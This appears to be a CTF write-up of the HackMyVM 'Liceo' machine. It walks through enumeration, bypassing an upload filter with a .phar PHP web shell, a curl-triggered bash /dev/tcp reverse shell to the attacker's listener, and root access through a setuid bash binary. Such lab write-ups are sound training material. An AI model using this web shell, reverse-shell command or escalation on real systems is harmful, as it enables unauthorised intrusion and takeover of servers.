Liceo

“Liceo” is an easy-level Capture The Flag (CTF) machine hosted on HackMyVm, presenting multiple avenues for exploitation and root access. Initial enumeration reveals open ports including FTP (vsftpd 3.0.5), SSH (OpenSSH 8.9p1 Ubuntu), and HTTP (Apache httpd 2.4.52 on Ubuntu). Utilizing tools like ctfenum and gobuster, a vulnerable endpoint at /upload.php is discovered, allowing file uploads but restricting PHP extensions. By fuzzing the upload request, a successful Remote Code Execution (RCE) exploit is crafted using a .phar extension. With RCE confirmed, a reverse shell is obtained, eventually leading to root access through a setuid binary /usr/bin/bash.

ENUMERATION

Lets begin as always with an Nmap Scan:

target=127.0.0.1; nmap -T4 -p$(nmap -Pn -T4 $target | grep '^[0–9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) -Pn -sVC $target

PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.5
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-rw-r - 1 1000 1000 191 Feb 01 14:29 note.txt
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:192.168.56.1
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 2
| vsFTPd 3.0.5 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 68:4c:42:8d:10:2c:61:56:7b:26:c4:78:96:6d:28:15 (ECDSA)
|_ 256 7e:1a:29:d8:9b:91:44:bd:66:ff:6a:f3:2b:c7:35:65 (ED25519)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Liceo
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

https://github.com/josemlwdf/CTFEnum

“ctfenum” got me this:

[!] Attacking port 80
[!] gobuster dir -u http://192.168.56.102:80 -w /opt/CTFEnum/CTFenum/mods/wordlist.txt -x .txt,.bak,.cgi,.html,.php -t 70 -z - no-error -k
[!] URL: http://192.168.56.102:80
/css (Status: 301) [Size: 314] [ → http://192.168.56.102/css/]
/images (Status: 301) [Size: 317] [ → http://192.168.56.102/images/]
/index.html (Status: 200) [Size: 21487]
/js (Status: 301) [Size: 313] [ → http://192.168.56.102/js/]
/upload.php (Status: 200) [Size: 371]
/uploads (Status: 301) [Size: 318] [ → http://192.168.56.102/uploads/]

EXPLOITATION

The “upload.php” endpoint does not allows the “.php” extension so i have fuzzed in Burpsuite the upload request with diferent PHP extensions on the intruder tab and “.phar” worked nicely.

The request part containing the file looks like:

- - - WebKitFormBoundaryk9BeNC80tmjBPeRp
Content-Disposition: form-data; name="archivo"; filename="test.phar"
Content-Type: application/octet-stream
<pre>
<?php system($_GET['cmd']); ?>
</pre>
<br>
********************* think *********************
 - - - WebKitFormBoundaryk9BeNC80tmjBPeRp

In this URL i have confirmed the RCE:

http://192.168.56.102/uploads/test.phar?cmd=id

uid=33(www-data) gid=33(www-data) groups=33(www-data)
********************* think *********************

This command gave me a reverse shell:

curl http://192.168.56.102/uploads/test.phar?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.56.1%2F6666%200%3E%261%22

on my nc:

nc -nlvp 6666
listening on [any] 6666 …
connect to [172.18.61.136] from (UNKNOWN) [172.18.48.1] 61117
bash: cannot set terminal process group (730): Inappropriate ioctl for device
bash: no job control in this shell
bash-5.1$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
bash-5.1$ hostname
hostname
liceoserver
bash-5.1$

ROOT

I have upgaded my shell to get a full TTY

bash-5.1$ python3 -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
bash-5.1$ ^Z
zsh: suspended nc -nlvp 6666
┌──(think㉿PC1)-[/opt]
└─$ stty raw -echo; fg
[1] + continued nc -nlvp 6666
<cal/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/local/games:/usr/games
www-data@liceoserver:/var/www/html/uploads$

Linpeas got this:

-rwsr-sr-x 1 root root 1.4M Jan 6 2022 /usr/bin/bash

It’s just too easy:

www-data@liceoserver:/home/dev$ bash -p
www-data@liceoserver:/home/dev# id
uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=0(root),33(www-data)
www-data@liceoserver:/home/dev# hostname
liceoserver
www-data@liceoserver:/home/dev#

**https://hackmyvm.eu/public/?u=josemlwdf**

Congratulations! We have successfully completed this machine. Thank you for reading!